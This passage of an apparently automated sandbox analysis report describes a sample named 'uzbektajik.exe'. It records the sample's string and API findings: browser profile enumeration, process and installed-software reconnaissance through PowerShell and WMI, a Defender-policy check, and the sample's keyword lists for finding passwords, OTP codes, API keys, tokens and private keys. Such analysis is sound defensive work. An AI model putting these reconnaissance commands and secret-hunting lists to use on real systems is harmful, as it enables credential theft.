"kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") file/memory contains long string with (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. The SPN Server Port can only be used when the authentication mechanism is Negotiate or Kerberos." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication is currently disabled in the client configuration." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain," (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Kerberos authentication cannot be used when the destination is an IP address." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication cannot be used with implicit credentials if the client computer is not joined to a domain." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Use explicit credentials or specify a different authentication mechanism than Kerberos." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "You can explicitly specify a different authentication mechanism than Kerberos or specify the remote host as a DNS name or NetBIOS name." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM service supports the following profiles: Negotiate or Kerberos over HTTP, Negotiate or Kerberos over HTTPS, and mutual certificate authentication over HTTPS using issuer thumbprints." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp")66:T485,"uzbektajik.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter ywzu7870.default (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter activity-stream.tippytop.json (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter activity-stream.topstories.json (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter cache2 (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter doomed (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter entries (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter 001DB8AE3A46F009910967724D0E7F33B99AA751 (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter 00659E1F8F558174C53F6752E1EE07AD1D1ADEAF (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter 00CACAB4A2A08019AB723BBEA8A2918C4D611880 (UID: 00000000-00006976) "uzbektajik.exe" called "FindNextFileW" with parameter 01B389B4B6499331C42AB8882DF16FC3A7ED7408 (UID: 00000000-00006976)67:Tde3,file/memory contains long string with (Indicator: "aes"; File: "file") file/memory contains long string with (Indicator: "aes"; File: "244A5EFD3C08788F67B4EC2060929FC0C77B1675") file/memory contains long string with (Indicator: "aes"; File: "13A5277F52D8E5004231E2F94D3434D462EBA74C") file/memory contains long string with (Indicator: "aes"; File: "119840D5BD3C8D489B094C8B21E0606BE18D98EF") file/memory contains long string with (Indicator: "aes"; File: "06DACCBAC548ADC3BD4E99DA57B80FCA754FD0B8") file/memory contains long string with (Indicator: "aes"; File: "0F7A6FBBE8D89ADB18920D211FF03455FF349105") file/memory contains long string with (Indicator: "aes"; File: "060C63588F45B35E7341A8950BAB98961FAC3E03") file/memory contains long string with (Indicator: "aes"; File: "021A9A79C17610AF76A2D0507B665C9675CEF494") file/memory contains long string with (Indicator: "aes"; File: "15f1ba95-3461-409b-9e8d-63fd5a916242.png") file/memory contains long string with (Indicator: "aes"; File: "0AC6FC0D0747D70D88E3A81DEDF722D43FF70A5A") file/memory contains long string with (Indicator: "aes"; File: "09EA9480679B77D360A8E87461D69350EF4F6656") file/memory contains long string with (Indicator: "aes"; File: "0AB1BE712BE7745C73A5EFA8DFC4780205FD18D7") file/memory contains long string with (Indicator: "aes"; File: "15C111ED845EF8DCE4E50FC0541F2F6C0F9FCCA3") file/memory contains long string with (Indicator: "aes"; File: "196BCA845E91608F7B4CA6127A60D20AF55413AC") Found string "C:\Users\Admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\mod.rs" (Indicator: "base64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string ";base64," (Indicator: "base64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "C:\Users\Admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\mod.rs" (Indicator: "base64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "C:\Users\Admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode_suffix.rs" (Indicator: "base64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "C:\Users\Admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\engine\general_purpose\decode.rs" (Indicator: "base64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "base64 is always valid HeaderValueC:\Users\Admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\util.rs" (Indicator: "base64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "C:\Users\Admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\encode.rs" (Indicator: "base64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "C:\Users\Admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\write\encoder.rs" (Indicator: "base64"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "aes"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "aes"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "3DES" (Indicator: "3des"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp")68:Tcfe,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "file") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "file") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetModuleHandle failed" (Indicator: "GetModuleHandle"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp")69:T51b,Observed string: "%WINDIR%\system32\tasklist.exe" [Source: 00000000-00006976-00000C47-2030133634] Observed string: ""tasklist"" [Source: 00000000-00006976-00000C47-2030133634] Observed string: "%WINDIR%\System32\tasklist.exe" [Source: 00000000-00006976-00000BC0-2959432495] Observed string: "tasklist.exe/FI/FOCSV/NHuser_scope_installper_user_installerscript_executionmanaged_apps" [Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp] Observed string: "C:\WINDOWS\system32\tasklist.exe" [Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp 00000000-00004512.00000001.275141.08E50000.00000004.mdmp] Observed string: ""tasklist"" [Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp 00000000-00004512.00000001.275141.08E50000.00000004.mdmp] Observed string: ":\WINDOWS\system32\tasklist.exe" [Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp 00000000-00004512.00000001.275141.08E50000.00000004.mdmp] Observed string: "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" [Source: 00000000-00004512.00000000.274160.08E50000.00000004.mdmp] Observed string: "tasklist.exe" [Source: 00000000-00004512.00000000.274160.0A840000.00000002.mdmp] Observed string: "tasklist.exe.mui" [Source: 00000000-00004512.00000000.274160.0A840000.00000002.mdmp]6a:T4f2,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "file") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetModuleHandle failed" (Indicator: "GetModuleHandle"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp")6b:Te2b,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "file") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "file") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "file") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "file") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "file") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "file") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp")6c:T11fc,Found string "passwords" (Indicator: "password"; File: "00000000-00006700.00000002.277998.159B1000.00000020.mdmp") Found string "passwordpasswdpasscodepass phrasepassphrasepin codepin number" (Indicator: "password"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "otpone-time passwordone time passwordverification codemfa code2fa codeauthenticator coderecovery codebackup code" (Indicator: "password"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "api keyapi_keyapi tokenapi_tokenaccess tokenaccess_tokenauth tokenauth_tokenclient secretclient_secretsecret keysecret_keyprivate key" (Indicator: "secret"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "pwdclientsecretapikeyrefresh_tokencard verification codetoken[credential token redacted]0" (Indicator: "secret"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "has_authority means set_password shouldn't fail" (Indicator: "password"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "The specified account's password has expired." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Unknown user name or bad password." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Failed to zero secret data." (Indicator: "secret"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "ChangePassword (with knowledge of old password)" (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "SetPassword (without knowledge of old password)" (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Create a secret object" (Indicator: "secret"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Change secret value" (Indicator: "secret"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Query secret value" (Indicator: "secret"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The client specified username and password in the request to the destination computer. But the destination" (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "when using HTTPS. Username and password must be specified." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "To use Basic, specify the computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "To use Basic, specify the local computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "-The user name or password specified are invalid.%n" (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "No user name, password or client certificate should be specified with the 'no authentication' option." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. Requests must include user name and password when Basic or Digest authentication mechanism is used." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Add the user name and password or change the authentication mechanism and try the request again." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. Requests must not include user name and password when a certificate is used for authentication." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Remove the user name and password or change the authentication mechanism and try the request again." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. A certificate thumbprint was specified together with a user name or password." (Indicator: "password"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp")6d:T755,"egistry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "istry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Beta" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Edge" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "ine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\BraveSoftware Brave-Browser" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp "chine\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Avast Secure Browser" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006700.00000002.277998.159B1000.00000020.mdmp ""powershell" -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName"" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: 00000000-00006976-00000C47-1987002958 "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: AMSI "5\Software\Microsoft\Windows\CurrentVersion\App Paths\" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp6e:T10db,Found string "ype "TASKLIST /?" for usage." (Indicator: "tasklist"; Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp") Found string "tasklist" (Indicator: "tasklist"; Source: "00000000-00004512.00000000.274160.09090000.00000004.mdmp, 00000000-00004512.00000001.275141.09090000.00000004.mdmp") Found string "The hostname pattern is invalid: "%1"" (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Hostname patterns must contain one or more patterns." (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "TrustedHosts list contains an invalid hostname or hostname pattern." (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client could not create a push subscription because there are no listeners configured that match the specified hostname and transport, or because there is no enabled firewall exception on the port used by the selected listener." (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Change the hostname and transport, create an appropriate firewall exception, or run winrm quickconfig." (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Transport, port and suffix are optional. The host may be a hostname or an IP address." (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WinRM client cannot process the request. The certificate CN and the hostname that were provided do not match." (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "You may want to use the CHCP command to change the client Code Page to 437 and receive the results in English." (Indicator: "chcp"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The destination computer name must be a hostname or an IP address, and must not be a URL." (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "DNS query for %2 hostname is sent: Handle=%3" (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "DNS query for %2 hostname is complete: Handle=%3, Addresses=%5" (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "DNS query for %2 hostname failed: Handle=%3 Error=%4" (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Re-used DNS cache, query for %2 hostname is complete: Handle=%3, Addresses=%5" (Indicator: "hostname"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Type "TASKLIST /?" for usage." (Indicator: "tasklist"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "TASKLIST" (Indicator: "tasklist"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "TASKLIST /M" (Indicator: "tasklist"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "TASKLIST /V /FO CSV" (Indicator: "tasklist"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "TASKLIST /SVC /FO LIST" (Indicator: "tasklist"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp")6f:T426,Found string "select * from Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found string "SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process" (Indicator: " Win32_Process"; Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp, 00000000-00004512.00000000.274160.09090000.00000004.mdmp, 00000000-00004512.00000000.274160.C1C22000.00000002.mdmp, 00000000-00004512.00000001.275141.08E8A000.00000004.mdmp, 00000000-00004512.00000001.275141.09090000.00000004.mdmp") Found string "SELECT Name FROM Win32_Service WHERE ProcessId = %d and State="Running"" (Indicator: " Win32_Service"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found string "CT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process" (Indicator: " Win32_Process"; Source: "00000000-00004512.00000001.275141.08E8A000.00000004.mdmp")70:T74d,Found string "\Device\Afd\Mio" (Indicator: "\Device\"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "\Device\NamedPipe\" (Indicator: "\Device\"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "if(Test-Path 'HKLM:\SOFTWARE\Microsoft\PolicyManager\current\device\Defender'){$source='MDM'}elseif(Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'){$source='Group Policy'};" (Indicator: "\Device\"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "Failed to open \Device\Afd\Mio:" (Indicator: "\Device\"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003480.00000000.275067.2B6B0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00003480.00000000.275067.2B6B0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" (Indicator: "\Device\"; Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp") Found string "\Device\HarddiskVolume2\file.exe" (Indicator: "\Device\"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00006552.00000000.274161.9E150000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00006552.00000001.275090.9E150000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006552.00000001.275090.9E150000.00000004.mdmp")71:T3692,"-----BEGIN CERTIFICATE-----MIIEojCCBCigAwIBAgIEAQAAMzAKBggqhkjOPQQDAzCBpjELMAkGA1UEBhMCVVMxHDAaBgNVBAoTE01vemlsbGEgQ29ycG9yYXRpb24xLzAtBgNVBAsTJk1vemlsbGEgQU1PIFByb2R1Y3Rpb24gU2lnbmluZyBTZXJ2aWNlMSUwIwYDVQQDExxDb250ZW50IFNpZ25pbmcgSW50ZXJtZWRpYXRlMSEwHwYJKoZIhvcNAQkBFhJmb3hzZWNAbW96aWxsYS5jb20wIhgPMjAxODA1MjYwMDAwMDBaGA8yMDE4MDkyMzAwMDAwMFowga8xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMRcwFQYDVQQLEw5DbG91ZCBTZXJ2aWNlczEvMC0GA1UEAxMmbm9ybWFuZHkuY29udGVudC1zaWduYXR1cmUubW96aWxsYS5vcmcxIzAhBgkqhkiG9w0BCQEWFHNlY3VyaXR5QG1vemlsbGEub3JnMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEUMiviMzOnus1x0onMj9p9DWywM+nLyJNdEanKGhh+0Q9jKUDbbRAmK00i7762kD8Rkrm99VPCX3I0y75GQHfguHIOCBrsHBiGtNPX0V2/JDVBqp7XL0LaXglzM0a2IC1o4ICFjCCAhIwHQYDVR0OBBYEFDc1cySvNWZS9srVUNfclSODFdJ8MIGqBgNVHSMEgaIwgZ+AFIh1cplb8FDyYLg9sQmWHo95eZ7uoYGBpH8wfTELMAkGA1UEBhMCVVMxHDAaBgNVBAoTE01vemlsbGEgQ29ycG9yYXRpb24xLzAtBgNVBAsTJk1vemlsbGEgQU1PIFByb2R1Y3Rpb24gU2lnbmluZyBTZXJ2aWNlMR8wHQYDVQQDExZyb290LWNhLXByb2R1Y3Rpb24tYW1vggMQAAYwDAYDVR0TAQH/BAIwADAOBgNVHQ8BAf8EBAMCB4AwFgYDVR0lAQH/BAwwCgYIKwYBBQUHAwMwRQYDVR0fBD4wPDA6oDigN